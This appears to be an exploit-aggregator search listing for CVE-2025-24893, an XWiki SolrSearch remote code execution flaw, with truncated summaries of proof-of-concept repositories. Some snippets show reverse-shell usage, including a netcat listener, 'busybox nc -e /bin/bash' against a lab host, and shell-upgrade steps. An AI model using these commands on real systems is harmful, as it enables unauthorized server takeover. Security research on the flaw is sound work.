35 matches found
CVE-2025-24893
CVE-2025-24893 Usage python CVE-2025-24893 http://target.com...
CVE-2025-24893-PoC
Descargo de responsabilidad: La vulnerabilidad descrita en este documento y sus pasos de reproducción se proporcionan únicamente con fines de investigación y educación en ciberseguridad. Nadie debe utilizar la información aquí proporcionada con fines ilegales o para pruebas no autorizadas en...
CVE-2025-24893
Análisis de la vulnerabilidad CVE-2025-24893 XWiki RCE Configuración del entorno 1. Ejecutar el entorno XWiki 15.10.10 docker-compose up -d 2. Acceso a XWiki URL: http://localhost:8080 Realizar las pruebas después de completar la configuración inicial Crear la cuenta de administrador después de...
CVE-2025-24893
CVE-2025-24893 Script POC en Bash para la vulnerabilidad de RCE en XWiki Platform Ejemplo de uso: Configurar un listener de netcat: $ nc -nvlp Después ejecutar el script: $ chmod +x cve.sh $ ./cve.sh Versiones afectadas: Desde 5.4 hasta 15.10.11 Desde 16.0.0 hasta 16.4.1 Aviso legal Esta...
CVE-2025-24893
Reverse shell for CVE-2025-24893 python3 CVE-2025-24893.py -u http://wiki.editor.htb/ -c "busybox nc -e /bin/bash" upgrade the shell 1. python3 -c 'import pty; pty.spawn"/bin/bash"' 2. ctrl + z 3. stty size 4. stty raw -echo; fg 5. stty rows x columns y 6. export TERM=xterm...
CVE-2025-24893-POC
CVE-2025-24893 Install bun: curl -fsSL https://bun.com/install | bash To install dependencies: bun install To run: bun run CVE-2025-24893.ts This project was created using bun init in bun v1.2.19. Bun is a fast all-in-one JavaScript runtime. How to use: Usage: bun CVE-2025-24893.ts options Option...
CVE-2025-24893-RCE-PoC
Información Este PoC primero prueba la SSTI y, si funciona, entra en un bucle y te permite ejecutar comandos remotamente. Los comandos exec y shell hacen lo mismo actualmente. Instalación python3 -m pip install requirements.txt Uso Conexión python3 poc.py Ejemplo Con debug establecido en False po...
xwiki-cve-2025-24893-poc
PoC de Exploit RCE en XWiki CVE-2025-24893 Descripción general Este repositorio contiene una Prueba de Concepto PoC del exploit para la vulnerabilidad de Ejecución Remota de Código RCE en XWiki identificada como CVE-2025-24893. La vulnerabilidad permite a un atacante ejecutar código arbitrario en...
xwiki_solrsearch-rce-exploit
solrsearch-rce-exploit PoC de RCE no autenticada para XWiki SolrSearch CVE-2025-24893. Ejecución de comandos + shell inversa. CVE-2025-24893 – XWiki SolrSearch RCE PoC Prueba de concepto para la inyección de plantillas SolrSearch de XWiki que permite la ejecución remota de código sin autenticació...
POC-for-CVE-2025-24893
Solo para ayudar en la reparación de vulnerabilidades, nunca para otros fines...
xwiki-15.10.8-reverse-shell-cve-2025-24893
Exploit de Reverse Shell CVE-2025-24893 para XWiki Descargo de responsabilidad: Este script está destinado solo con fines educativos y pruebas de seguridad autorizadas. No lo utilice en sistemas que no posea o para los que no tenga permiso explícito para realizar pruebas. El mal uso puede ser...
XWiki-Platform-RCE-CVE-2025-24893
Exploit de RCE no autenticado en XWiki Platform Descripción general Este script es una implementación renovada en Bash de un exploit que apunta a las versiones de XWiki Platform afectadas por CVE-2025-24893. Aprovecha una vulnerabilidad crítica de ejecución remota de código no autenticado que...
CVE-2025-24893-POC
CVE-2025-24893-POC Un POC para CVE-2025-24893 escrito en python Uso python3 -u the url...
XWiki Platform - Remote Code Execution
Any guest can perform arbitrary remote code execution through a request to SolrSearch. This impacts the confidentiality, integrity, and availability of the whole XWiki installation. This vulnerability has been patched in XWiki 15.10.11, 16.4.1, and 16.5.0RC1. id: CVE-2025-24893 info: name: XWiki...
Exploit for Eval Injection in Xwiki
CVE-2025-24893 - XWiki SolrSearch SSTI to unauthenticated RCE...
Exploit for Eval Injection in Xwiki
CVE-2025-24893 - XWiki Unauthenticated RCE Exploit POC ⚠️ U...
Exploit for Eval Injection in Xwiki
CVE-2025-24893- CVE-20...
Exploit for Code Injection in Xwiki
CVE-2025-24893 – XWiki Remote Command Execution Proof of Conc...